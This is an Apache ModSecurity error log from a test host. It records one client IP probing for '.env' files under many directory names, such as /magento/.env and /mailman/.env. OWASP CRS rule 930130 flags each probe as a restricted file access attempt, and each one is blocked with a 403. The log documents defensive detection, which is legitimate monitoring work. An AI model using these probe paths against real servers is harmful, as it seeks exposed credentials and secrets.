[Thu Feb 26 01:03:09.718427 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /magento/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/magento/.env&quot;] [unique_id &quot;aZ-NvZqP6Uim1aZiP_g4tQAAAAY&quot;]
[Thu Feb 26 01:03:09.718641 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/magento/.env&quot;] [unique_id &quot;aZ-NvZqP6Uim1aZiP_g4tQAAAAY&quot;]
[Thu Feb 26 01:03:09.718786 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/magento/.env&quot;] [unique_id &quot;aZ-NvZqP6Uim1aZiP_g4tQAAAAY&quot;]
[Thu Feb 26 01:03:09.756486 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /mailinabox/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mailinabox/.env&quot;] [unique_id &quot;aZ-NvZqP6Uim1aZiP_g4tgAAAAY&quot;]
[Thu Feb 26 01:03:09.756708 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mailinabox/.env&quot;] [unique_id &quot;aZ-NvZqP6Uim1aZiP_g4tgAAAAY&quot;]
[Thu Feb 26 01:03:09.756875 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mailinabox/.env&quot;] [unique_id &quot;aZ-NvZqP6Uim1aZiP_g4tgAAAAY&quot;]
[Thu Feb 26 01:03:09.788903 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /mailman/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mailman/.env&quot;] [unique_id &quot;aZ-NvZqP6Uim1aZiP_g4twAAAAY&quot;]
[Thu Feb 26 01:03:09.789113 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mailman/.env&quot;] [unique_id &quot;aZ-NvZqP6Uim1aZiP_g4twAAAAY&quot;]
[Thu Feb 26 01:03:09.789273 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mailman/.env&quot;] [unique_id &quot;aZ-NvZqP6Uim1aZiP_g4twAAAAY&quot;]
[Thu Feb 26 01:03:10.220602 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /main_user/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/main_user/.env&quot;] [unique_id &quot;aZ-Nvg3HqGC30X9HPoEkxgAAAAM&quot;]
[Thu Feb 26 01:03:10.220838 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/main_user/.env&quot;] [unique_id &quot;aZ-Nvg3HqGC30X9HPoEkxgAAAAM&quot;]
[Thu Feb 26 01:03:10.221016 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/main_user/.env&quot;] [unique_id &quot;aZ-Nvg3HqGC30X9HPoEkxgAAAAM&quot;]
[Thu Feb 26 01:03:10.313293 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /manual/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/manual/.env&quot;] [unique_id &quot;aZ-Nvg3HqGC30X9HPoEkyQAAAAM&quot;]
[Thu Feb 26 01:03:10.313548 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/manual/.env&quot;] [unique_id &quot;aZ-Nvg3HqGC30X9HPoEkyQAAAAM&quot;]
[Thu Feb 26 01:03:10.313705 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/manual/.env&quot;] [unique_id &quot;aZ-Nvg3HqGC30X9HPoEkyQAAAAM&quot;]
[Thu Feb 26 01:03:10.336395 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /master/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/master/.env&quot;] [unique_id &quot;aZ-Nvg3HqGC30X9HPoEkygAAAAM&quot;]
[Thu Feb 26 01:03:10.336631 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/master/.env&quot;] [unique_id &quot;aZ-Nvg3HqGC30X9HPoEkygAAAAM&quot;]
[Thu Feb 26 01:03:10.336831 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/master/.env&quot;] [unique_id &quot;aZ-Nvg3HqGC30X9HPoEkygAAAAM&quot;]
[Thu Feb 26 01:03:10.370562 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /media/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/media/.env&quot;] [unique_id &quot;aZ-Nvg3HqGC30X9HPoEkywAAAAM&quot;]
[Thu Feb 26 01:03:10.370786 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/media/.env&quot;] [unique_id &quot;aZ-Nvg3HqGC30X9HPoEkywAAAAM&quot;]
[Thu Feb 26 01:03:10.370937 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/media/.env&quot;] [unique_id &quot;aZ-Nvg3HqGC30X9HPoEkywAAAAM&quot;]
[Thu Feb 26 01:03:10.394138 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /memcached/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/memcached/.env&quot;] [unique_id &quot;aZ-Nvg3HqGC30X9HPoEkzAAAAAM&quot;]
[Thu Feb 26 01:03:10.394382 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/memcached/.env&quot;] [unique_id &quot;aZ-Nvg3HqGC30X9HPoEkzAAAAAM&quot;]
[Thu Feb 26 01:03:10.394535 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/memcached/.env&quot;] [unique_id &quot;aZ-Nvg3HqGC30X9HPoEkzAAAAAM&quot;]
[Thu Feb 26 01:03:10.422757 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /mentorg-lava-docker/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mentorg-lava-docker/.env&quot;] [unique_id &quot;aZ-Nvg3HqGC30X9HPoEkzQAAAAM&quot;]
[Thu Feb 26 01:03:10.422985 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mentorg-lava-docker/.env&quot;] [unique_id &quot;aZ-Nvg3HqGC30X9HPoEkzQAAAAM&quot;]
[Thu Feb 26 01:03:10.423143 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mentorg-lava-docker/.env&quot;] [unique_id &quot;aZ-Nvg3HqGC30X9HPoEkzQAAAAM&quot;]
[Thu Feb 26 01:03:10.462784 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /micro-app-react-communication/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/micro-app-react-communication/.env&quot;] [unique_id &quot;aZ-Nvg3HqGC30X9HPoEkzgAAAAM&quot;]
[Thu Feb 26 01:03:10.463036 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/micro-app-react-communication/.env&quot;] [unique_id &quot;aZ-Nvg3HqGC30X9HPoEkzgAAAAM&quot;]
[Thu Feb 26 01:03:10.463229 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/micro-app-react-communication/.env&quot;] [unique_id &quot;aZ-Nvg3HqGC30X9HPoEkzgAAAAM&quot;]
[Thu Feb 26 01:03:10.490996 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /main_user/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/main_user/.env&quot;] [unique_id &quot;aZ-Nvik1SHHL9bIjTI-PtgAAAAU&quot;]
[Thu Feb 26 01:03:10.491257 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/main_user/.env&quot;] [unique_id &quot;aZ-Nvik1SHHL9bIjTI-PtgAAAAU&quot;]
[Thu Feb 26 01:03:10.491448 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/main_user/.env&quot;] [unique_id &quot;aZ-Nvik1SHHL9bIjTI-PtgAAAAU&quot;]
